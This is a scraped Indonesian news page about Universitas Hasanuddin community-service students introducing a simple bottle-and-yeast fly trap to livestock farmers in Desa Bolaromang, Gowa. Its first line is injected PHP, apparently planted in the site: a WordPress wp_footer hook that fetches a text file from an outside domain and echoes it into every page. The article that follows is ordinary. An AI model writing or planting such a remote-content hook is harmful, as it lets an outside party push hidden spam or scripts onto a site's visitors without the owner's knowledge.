function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');KKN Tematik Universitas Hasanuddin Gelombang 113 Posko 6 Gowa Desa Bolaromang Alat Perangkap Lalat Sederhana - Suluh Nusantara

Home / Uncategorized

Senin, 3 Februari 2025 - 13:31 WIB

KKN Tematik Universitas Hasanuddin Gelombang 113 Posko 6 Gowa Desa Bolaromang Alat Perangkap Lalat Sederhana

Bolaromang, 03 Februari 2025 – Dalam rangka mendukung pencapaian Sustainable Development Goals (SDGs), SDGs 3, SDGs 6 dan 12 Dalam rangka meningkatkan kebersihan lingkungan peternakan dan kesehatan ternak, mahasiswa Kuliah Kerja Nyata (KKN) Universitas Hasanuddin memperkenalkan inovasi alat perangkap lalat sederhana di Desa Bolaromang. Alat ini dirancang khusus untuk membantu peternak dalam mengurangi populasi lalat yang sering menjadi gangguan dan berpotensi menularkan penyakit bagi hewan ternak

Posko 6 terdiri dari 7 orang, di antaranya Muhammad Ryan Ariantha (Koordinator Desa). Andi  Nia Rahmadani, Faradita dan Mikael Salenda, Febriana Risky Putri, Rabitha Al Islamia, serta penanggung jawab kegiatan ini Muh. Kurnia Qadri Ramadhan Z. Selain itu, tim ini dibimbing oleh Dosen Pengampu KKN, Saharuddin, S.IP., M.Si., yang memberikan arahan dan memantau persiapan intervensi yang dilakukan.

Lalat sering kali menjadi masalah utama di lingkungan peternakan karena dapat menyebarkan bakteri dan virus yang mengganggu kesehatan ternak. Menyadari hal ini, mahasiswa KKN Universitas Hasanuddin berinisiatif menciptakan perangkap lalat berbahan botol plastik bekas, gula merah, dan ragi sebagai umpan alami yang efektif dalam menarik lalat.

Baca Juga  Mahasiswa K3 FKM Unhas Kunjungi PT Indofood Untuk Menyaksikan Penerapan K3 di Industri Pangan Terbesar Indonesia

Salah satu mahasiswa KKN, (Muh. Kurnia Qadri Ramadhan Z.), menjelaskan bahwa alat perangkap ini dirancang untuk ditempatkan di sekitar kandang dan area peternakan. “Kami ingin membantu peternak mengurangi populasi lalat dengan metode sederhana yang murah dan ramah lingkungan. Dengan alat ini, lalat dapat tertangkap tanpa perlu menggunakan bahan kimia berbahaya,” ujarnya.

Para peternak di Desa Bolaromang menyambut baik inovasi ini karena selain mudah dibuat, alat ini juga mengurangi ketergantungan pada insektisida yang bisa berdampak negatif pada kesehatan ternak dan manusia. Sekretaris Desa Bolaromang, Muslim, mengapresiasi langkah mahasiswa KKN dalam memberikan solusi praktis bagi para peternak. “Program ini sangat membantu dalam menciptakan lingkungan peternakan yang lebih bersih dan sehat. Kami berharap inovasi ini terus dikembangkan dan diterapkan di berbagai tempat,” katanya.

Intervensi dilaksanakan pada 30 Desember 2024 – 03 Februari 2025 di wilayah desa, Kecamatan Tombolo Pao, Kabupaten Gowa, dengan dihadiri oleh beberapa masyarakat dari berbagai Kalangan Mulai peternak sampai masyarakat peternak.

Kegiatan ini meliputi:

  • Observasi
  • Identifikasi lalat yang terperangkap
  • Sosialisasi alat perangkap lalat kepada masyarakat dan peternak
Baca Juga  Posko 21 PBL I FKM Unhas Gelar Seminar Awal Bersama Masyarakat Desa Pesse, Kec. Donri-Donri

Kegiatan ini mendapatkan dukungan dari Muslim, Sekretaris Desa (Sekdes) Desa Bolaromang, yang membantu koordinasi dengan pihak setempat. Lokasi kegiatan bertempat di Kawasan ternak.

Program pembuatan perangkap lalat ini juga sejalan dengan beberapa tujuan dalam Sustainable Development Goals (SDGs), antara lain:

SDG 3: Kehidupan Sehat dan Sejahtera – Mengurangi risiko penyakit yang dapat ditularkan lalat kepada ternak dan manusia.

SDG 6: Air Bersih dan Sanitasi Layak – Mendorong kebersihan lingkungan peternakan dengan mengurangi gangguan lalat di area kandang.

SDG 12: Konsumsi dan Produksi yang Bertanggung Jawab – Memanfaatkan kembali botol plastik bekas untuk tujuan yang bermanfaat bagi lingkungan dan peternakan.

Dengan adanya inovasi ini, diharapkan para peternak di Desa Bolaromang dapat menerapkan dan menyebarluaskan penggunaan alat perangkap lalat sederhana guna meningkatkan kualitas kesehatan lingkungan peternakan mereka. Mahasiswa KKN Universitas Hasanuddin juga berharap program ini dapat menjadi inspirasi bagi daerah lain dalam mengelola peternakan yang lebih bersih dan sehat. Untuk informasi lebih lanjut mengenai kegiatan Posko 6 Gowa Desa Bolaromang UNHAS, kunjungi akun Instagram kami di @kknt113unhas_desabolaromang.

Share :

Baca Juga

Uncategorized

EDUKASI VISUAL UNTUK CEGAH STUNTING: PEMANFAATAN POSTER DI SEKOLAH DAN POSYANDU DESA BARANA, KABUPATEN JENEPONTO

Uncategorized

Evaluasi Efektivitas Intervensi Stiker Bahaya Merokok Dalam Rumah: Posko 6 PBL III FKM Unhas Kunjungi Desa Pattiro

Uncategorized

Aksi Nyata Posko 24 PBL II FKM UNHAS: “Papan Wicara Larangan dan Bahaya Merokok dipasang di 6 Dusun Desa Bontojai”

Uncategorized

Mahasiswa Posko 12 PBL II FKM Unhas Gelar Penyuluhan Pentingnya Imunisasi untuk Mencegah Penyakit dan Stunting

Uncategorized

Mahasiswa PBL II FKM Unhas Posko 31 Tamanroya Latih Siswi dan Sebar Poster Edukatif di SD Inpres 14 Tamalatea untuk Cegah Kurang Energi Kronik dan Stunting Sejak Dini

Uncategorized

Mahasiswa Gelar Bina Desa di Dusun Ballapati Agenda Pembukaan dan CERIA: (Cerdas Kelola Sampah untuk Usaha)

Uncategorized

Masa Depan Sehat Dimulai Hari ini: Mahasiswa Magang Promosi Kesehatan Unhas bersama UPTD Puskesmas Cangadi Gencarkan Pencegahan Anemia Pada Remaja Sebagai Upaya Capai SDGs

Uncategorized

FKM Unhas Berpartisipasi dalam Unhas Open Day (UOD) 2025: Kenalkan Kampus dan Fasilitas kepada Calon Mahasiswa